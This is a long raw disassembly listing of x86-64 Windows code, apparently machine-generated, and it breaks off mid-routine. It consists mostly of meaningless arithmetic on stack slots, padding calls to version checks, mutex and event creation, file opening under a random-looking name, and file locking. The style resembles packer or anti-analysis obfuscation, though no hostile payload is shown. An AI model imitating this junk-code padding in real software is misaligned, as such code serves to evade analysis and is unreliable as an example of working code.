mov qword [rsp + 0x16b98], rax
mov eax, dword [rsp + 0x9250]
mov ecx, dword [0x14036a310]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16888]
mov eax, dword [rax]
mov dword [rsp + 0xa678], eax
mov eax, dword [rsp + 0xa3ec]
mov ecx, dword [rsp + 0xa0f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x152c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d40]
mov rcx, qword [0x14036a340]
mov qword [rsp + 0x16ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16ba0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9ca4], eax
lea rax, [rsp + 0x407]
mov qword [rsp + 0x16ba8], rax
mov rcx, qword [rsp + 0x15f50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x15ed8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14030]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13a80]
mov word [rcx], ax
movzx eax, word [0x140362550]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x16dc], ax
movzx eax, byte [rsp + 0x37b]
mov byte [0x140364095], al
mov rax, qword [rsp + 0x167b0]
mov rcx, qword [0x140369d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f08]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4b7f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x13978]
mov ecx, dword [rsp + 0x7db0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15e40]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b68], eax
lea rax, [rsp + 0x52f]
mov qword [rsp + 0x16bb0], rax
movzx eax, word [rsp + 0x26b0]
mov rcx, qword [0x14036a380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b78], ax
lea rax, [rsp + 0x9bec]
mov qword [rsp + 0x16bb8], rax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0xa3ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15b68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5810]
mov dword [rsp + 0xa67c], eax
mov rax, qword [0x140369f20]
mov ecx, dword [rsp + 0x5514]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f48], eax
lea rax, [rsp + 0x2ba8]
mov qword [0x14036a548], rax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c7]
and eax, ecx
mov rcx, qword [rsp + 0x156e0]
mov byte [rcx], al
lea rax, [0x140369b98]
mov qword [rsp + 0x16bc0], rax
mov rax, qword [rsp + 0x164b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5354]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b30]
mov dword [rcx], eax
lea rax, [rsp + 0x749]
mov qword [rsp + 0x16bc8], rax
movsx eax, word [0x140369ea4]
mov rcx, qword [rsp + 0x15bd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0x14d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2afc]
sub eax, ecx
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0x16930]
movzx eax, byte [rax]
mov byte [rsp + 0x7e5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16bd0], rax
mov rax, qword [rsp + 0x14450]
mov rcx, qword [rsp + 0x13fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8880]
mov ecx, dword [rsp + 0x9b3c]
add ecx, eax
mov eax, ecx
mov dword [0x140362498], eax
mov rax, qword [0x140369bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5db8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x53bc], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4c7b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c98], eax
mov rax, qword [rsp + 0x13948]
mov rcx, qword [rsp + 0x13670]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9708], eax
mov eax, dword [rsp + 0x8a5c]
movzx ecx, al
mov eax, dword [rsp + 0x9d60]
sar eax, cl
mov dword [rsp + 0x9a40], eax
lea rax, [rsp + 0x70d]
mov qword [rsp + 0x16bd8], rax
movzx eax, word [rsp + 0x2090]
movzx ecx, word [rsp + 0x2cf4]
shl eax, cl
mov word [rsp + 0x17e8], ax
lea rax, [rsp + 0x9fb8]
mov qword [rsp + 0x16be0], rax
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa518]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16500]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ac0]
mov eax, dword [rax]
mov dword [rsp + 0xa680], eax
lea rax, [rsp + 0x69c4]
mov qword [0x14036a550], rax
movzx eax, byte [rsp + 0x7e4]
mov rcx, qword [rsp + 0x13a10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x76d], al
movzx eax, word [rsp + 0x2d78]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ca0], ax
mov edx, 0xe06
mov rcx, qword [rsp + 0x15648]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa3f0], eax
lea rax, [rsp + 0x7d8]
mov qword [rsp + 0x16be8], rax
movsx eax, word [rsp + 0x11d8]
movsx ecx, word [rsp + 0x28b8]
or eax, ecx
mov rcx, qword [rsp + 0x168f8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Dj1VuMZhiXKWJLpdplQF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16bf0], rax
mov rax, qword [rsp + 0x16430]
mov ecx, dword [rsp + 0x5344]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x67e8], eax
mov rax, qword [rsp + 0x161d0]
mov rcx, qword [rsp + 0x15c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x69c4], eax
mov rax, qword [0x14036a520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c28]
add eax, ecx
mov word [rsp + 0x26fc], ax
movzx eax, byte [rsp + 0x772]
mov byte [rsp + 0x7e6], al
mov eax, dword [rsp + 0x7e9c]
mov ecx, dword [rsp + 0x9b8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d08]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e64], eax
mov rax, qword [rsp + 0x15bb0]
mov rcx, qword [rsp + 0x14f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14360]
mov dword [rcx], eax
lea rax, [rsp + 0xa184]
mov qword [rsp + 0x16bf8], rax
mov rax, qword [rsp + 0x159c8]
mov rcx, qword [0x14036a3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9748], eax
mov rax, qword [rsp + 0x15600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1764]
add eax, ecx
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x14340]
movzx eax, byte [rax]
mov byte [rsp + 0x7e7], al
mov eax, dword [rsp + 0xa39c]
mov ecx, dword [rsp + 0xa680]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9184], eax
mov eax, dword [rsp + 0x6d64]
mov rcx, qword [rsp + 0x130d0]
mov qword [rsp + 0x16c00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8718], eax
mov eax, dword [rsp + 0x93b0]
mov rcx, qword [rsp + 0x14580]
mov qword [rsp + 0x16c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c08]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x155d0]
mov ecx, dword [rsp + 0x5694]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140362480], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4c8d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9d6c], eax
mov rax, qword [rsp + 0x13720]
mov rcx, qword [rsp + 0x14f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d74], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x15e68]
movzx eax, byte [rax]
mov byte [rsp + 0x7e8], al
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x27a4]
and eax, ecx
mov word [rsp + 0x2e68], ax
lea rax, [rsp + 0x21a]
mov qword [rsp + 0x16c10], rax
mov rax, qword [rsp + 0x14c28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147d0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14730]
mov word [rcx], ax
lea rax, [rsp + 0x888c]
mov qword [rsp + 0x16c18], rax
mov rax, qword [rsp + 0x16720]
mov ecx, dword [rsp + 0x7df0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x16938]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15698]
movzx eax, byte [rax]
imul eax, eax, 0x6f
mov rcx, qword [rsp + 0x158a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2e60]
mov word [0x14036a558], ax
lea rax, [rsp + 0xa5c8]
mov qword [rsp + 0x16c20], rax
mov rax, qword [rsp + 0x134e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa30c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov rax, qword [0x140369d18]
mov ecx, dword [rsp + 0xa480]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8ae4], eax
mov rax, qword [rsp + 0x14080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa668]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa114], eax
movzx eax, byte [rsp + 0x37d]
mov rcx, qword [rsp + 0x14340]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x145e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1dc8]
mov word [rsp + 0x2e94], ax
mov rax, qword [rsp + 0x16088]
mov rcx, qword [rsp + 0x14e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16a98]
mov dword [rcx], eax
lea rax, [0x14036256c]
mov qword [rsp + 0x16c28], rax
lea rax, [rsp + 0x29ec]
mov qword [0x14036a560], rax
mov rax, qword [rsp + 0x16230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a8]
sub eax, ecx
mov byte [rsp + 0x79f], al
mov rax, qword [rsp + 0x13538]
movzx eax, word [rax]
mov rcx, qword [0x140369c50]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x16508]
mov word [rcx], ax
mov rax, qword [rsp + 0x15698]
movzx eax, byte [rax]
mov byte [rsp + 0x7e9], al
mov eax, dword [rsp + 0x6850]
mov rcx, qword [rsp + 0x14fa0]
mov qword [rsp + 0x16c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x16168]
mov dword [rcx], eax
mov rax, qword [0x140369ef8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x164a0]
mov qword [rsp + 0x16c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x79d8], eax
mov eax, dword [rsp + 0x7c10]
mov ecx, dword [rsp + 0x6d40]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7388]
mov dword [rsp + 0xa684], eax
mov rax, qword [rsp + 0x158d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5a0], eax
movzx eax, word [rsp + 0x2a10]
movzx ecx, word [rsp + 0x1b6c]
sub eax, ecx
mov rcx, qword [rsp + 0x14c28]
mov word [rcx], ax
mov rax, qword [rsp + 0x169e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14036400c], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16c40], rax
mov rax, qword [rsp + 0x15798]
mov rcx, qword [rsp + 0x154d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7e7c], eax
mov rax, qword [rsp + 0x14ef0]
mov rcx, qword [rsp + 0x156a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8f50], eax
lea rax, [rsp + 0x9a10]
mov qword [rsp + 0x16c48], rax
mov eax, dword [rsp + 0x9fa4]
mov ecx, dword [rsp + 0x92dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8214], eax
mov rax, qword [rsp + 0x15050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0x13898]
mov word [rcx], ax
movzx eax, byte [0x14036400c]
mov byte [rsp + 0x7ea], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa1d4], eax
movsx eax, word [rsp + 0x2d9c]
mov rcx, qword [rsp + 0x13630]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12ec], ax
movzx eax, byte [rsp + 0x77a]
mov byte [rsp + 0x7eb], al
mov eax, dword [0x14036a118]
mov ecx, dword [rsp + 0x6850]
and ecx, eax
mov eax, ecx
mov dword [0x140362590], eax
mov rax, qword [rsp + 0x16548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x155d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7b1]
movzx ecx, byte [rsp + 0x737]
xor eax, ecx
mov rcx, qword [rsp + 0x150f0]
mov byte [rcx], al
lea rdx, [rsp + 0x436e8]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9fd0], eax
mov rax, qword [rsp + 0x15028]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d64]
sar eax, cl
mov word [rsp + 0x1b7c], ax
mov rax, qword [rsp + 0x153c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ee8]
mov qword [rsp + 0x16c50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14cb8]
mov dword [rcx], eax
lea rax, [rsp + 0x9be4]
mov qword [rsp + 0x16c58], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1ed6
mov r9d, 0x299
mov r8d, 0xb47fb266
mov edx, 1
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x14fb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d6c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e60], eax
mov rax, qword [rsp + 0x13260]
mov ecx, dword [rsp + 0x7e50]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x76ec], eax
lea rax, [0x140363fa7]
mov qword [rsp + 0x16c60], rax
mov rax, qword [rsp + 0x14a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15088]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14036a2f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15ed0]
mov ecx, dword [rsp + 0x8ad4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16540]
mov eax, dword [rax]
mov dword [rsp + 0xa688], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e70], eax
lea rax, [rsp + 0x8f50]
mov qword [rsp + 0x16c68], rax
mov rax, qword [rsp + 0x13318]
mov rcx, qword [0x14036a550]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa0c8], eax
mov rax, qword [rsp + 0x16610]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13740]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x16ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x162]
or eax, ecx
mov byte [rsp + 0x691], al
mov rax, qword [rsp + 0x15bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13248]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1dc8], ax
lea rdx, [rsp + 0x43720]
mov rcx, qword [rsp + 0x16950]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa5c4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x15820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15ec0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403525a3], al
mov rax, qword [0x14036a218]
mov eax, dword [rax]
mov dword [rsp + 0xa68c], eax
mov rax, qword [rsp + 0x14450]
mov ecx, dword [rsp + 0x9028]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9970], eax
movzx eax, byte [rsp + 0x3e2]
movzx ecx, byte [rsp + 0x797]
sub eax, ecx
mov rcx, qword [rsp + 0x13878]
mov byte [rcx], al
mov rax, qword [0x14036a520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x288c]
xor eax, ecx
mov word [rsp + 0x2564], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ba4], eax
mov eax, dword [rsp + 0x9a90]
movzx ecx, al
mov eax, dword [rsp + 0x595c]
sar eax, cl
mov dword [rsp + 0x9db0], eax
mov dword [rsp + 0x20], 0x100c
mov r9d, 0x390f
mov r8d, 0x203a
mov edx, 0x817
mov rcx, qword [rsp + 0x165b0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa690], eax
mov eax, dword [rsp + 0x9f20]
mov dword [rsp + 0xa694], eax
mov rax, qword [rsp + 0x16a48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14fe0]
mov qword [rsp + 0x16c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16c70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b64], eax
mov rcx, qword [rsp + 0x15ad0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14820]
mov rcx, qword [rsp + 0x15340]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5dc0], eax
lea rax, [rsp + 0x2e48]
mov qword [0x14036a568], rax
lea rax, [rsp + 0x376]
mov qword [rsp + 0x16c78], rax
mov eax, dword [rsp + 0xa374]
mov ecx, dword [rsp + 0x6004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa130], eax
mov rcx, qword [rsp + 0x15ad0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9b0c], eax
lea rax, [rsp + 0x58e8]
mov qword [rsp + 0x16c80], rax
movsx eax, word [rsp + 0x1304]
movsx ecx, word [rsp + 0x2c58]
and eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1d9]
movsx ecx, byte [rsp + 0x2d2]
sub eax, ecx
mov byte [rsp + 0x738], al
mov rax, qword [rsp + 0x15b10]
movzx eax, byte [rax]
mov byte [rsp + 0x7ec], al
mov rax, qword [0x14036a2b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x145d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14b88]
mov word [rcx], ax
lea rax, [rsp + 0x954c]
mov qword [rsp + 0x16c88], rax
mov rax, qword [rsp + 0x15f00]
mov eax, dword [rax]
mov dword [0x14036a570], eax
mov dword [rsp + 0x4dbf0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa078], eax
mov eax, dword [rsp + 0x9e34]
mov ecx, dword [rsp + 0x8880]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x161a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5bac], eax
mov rax, qword [rsp + 0x13570]
mov rcx, qword [0x14036a1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa1b8], eax
mov rax, qword [rsp + 0x154e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f2]
or eax, ecx
mov byte [rsp + 0x74d], al
mov rax, qword [rsp + 0x15f78]
movzx eax, word [rax]
mov word [rsp + 0x2e98], ax
mov rax, qword [rsp + 0x16630]
mov ecx, dword [rsp + 0x97b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x77cc], eax
lea rax, [rsp + 0x70e4]
mov qword [rsp + 0x16c90], rax
mov rax, qword [rsp + 0x14108]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa4d8]
sar eax, cl
mov dword [rsp + 0xa1a8], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9dcc], eax
mov rax, qword [0x14036a450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ae4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a410]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7e4]
mov rcx, qword [rsp + 0x15e08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x27e], al
movzx eax, word [rsp + 0x1454]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2328], ax
movsx eax, byte [rsp + 0x771]
movsx ecx, byte [rsp + 0x76e]
add eax, ecx
mov rcx, qword [rsp + 0x13bd8]
mov byte [rcx], al
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x16c98], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16ca0], rax
mov rax, qword [rsp + 0x133a0]
mov rcx, qword [0x14036a478]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15b80]
mov ecx, dword [rsp + 0x7344]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bac], eax
movzx eax, byte [rsp + 0x7be]
mov byte [rsp + 0x7ed], al
mov rax, qword [rsp + 0x14fe8]
movzx eax, word [rax]
movzx ecx, word [0x140369b74]
and eax, ecx
mov rcx, qword [rsp + 0x147a8]
mov word [rcx], ax
lea rax, [rsp + 0x9f1c]
mov qword [0x14036a578], rax
lea rax, [rsp + 0xa34c]
mov qword [rsp + 0x16ca8], rax
mov rax, qword [rsp + 0x13cd0]
mov rcx, qword [rsp + 0x15c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x164f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa4ec]
mov dword [rsp + 0xa698], eax
movzx eax, byte [rsp + 0x794]
mov rcx, qword [rsp + 0x14340]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14c10]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, word [rsp + 0x2e6c]
movzx ecx, word [rsp + 0x2d5c]
add eax, ecx
mov word [rsp + 0x1eb0], ax
lea rax, [rsp + 0xa444]
mov qword [rsp + 0x16cb0], rax
mov rax, qword [rsp + 0x139d8]
mov ecx, dword [rsp + 0x9a40]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15800]
mov dword [rcx], eax
lea rax, [rsp + 0x9f98]
mov qword [rsp + 0x16cb8], rax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x15c08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x602c]
sub ecx, eax
mov eax, ecx
mov dword [0x140369fec], eax
mov rax, qword [rsp + 0x14ef8]
mov rcx, qword [rsp + 0x16240]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14008]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2808]
movsx ecx, word [0x1403624e0]
xor eax, ecx
mov word [rsp + 0x2c10], ax
mov rax, qword [rsp + 0x162e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
sar eax, cl
mov byte [rsp + 0x5ed], al
mov rax, qword [rsp + 0x14e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
shl eax, cl
mov word [rsp + 0x2d78], ax
mov rax, qword [rsp + 0x13a38]
movzx eax, byte [rax]
mov byte [rsp + 0x7ee], al
mov eax, dword [rsp + 0x9f58]
mov ecx, dword [rsp + 0x9f1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x93b0], eax
mov rax, qword [rsp + 0x14ec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ff8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14270]
mov dword [rcx], eax
mov dword [rsp + 0x4dd10], 0x11c
lea rax, [rsp + 0x1f4c]
mov qword [rsp + 0x16cc0], rax
mov rax, qword [rsp + 0x14d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a5]
add eax, ecx
mov byte [0x1403525b6], al
mov rax, qword [rsp + 0x15398]
mov rcx, qword [rsp + 0x152d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d1c], eax
lea rax, [0x14036a108]
mov qword [rsp + 0x16cc8], rax
mov eax, dword [rsp + 0x7388]
mov ecx, dword [rsp + 0xa05c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e74], eax
mov rax, qword [rsp + 0x156f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6850]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x169a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x793]
mov rcx, qword [rsp + 0x14c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x13058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15078]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15d10]
mov word [rcx], ax
mov eax, dword [0x140362470]
mov dword [rsp + 0xa69c], eax
mov eax, dword [rsp + 0xa05c]
mov ecx, dword [rsp + 0x6524]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16678]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2020]
mov rcx, qword [rsp + 0x149b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140362594], ax
lea rax, [0x14035259e]
mov qword [rsp + 0x16cd0], rax
movzx eax, word [rsp + 0x24a4]
movzx ecx, word [rsp + 0x2c38]
add eax, ecx
mov rcx, qword [rsp + 0x16900]
mov word [rcx], ax
mov rax, qword [rsp + 0x15148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x798]
sub eax, ecx
mov rcx, qword [rsp + 0x146c0]
mov byte [rcx], al
lea rax, [rsp + 0xa484]
mov qword [rsp + 0x16cd8], rax
mov rax, qword [rsp + 0x15998]
mov rcx, qword [rsp + 0x16c58]
mov ecx, dword [rcx]
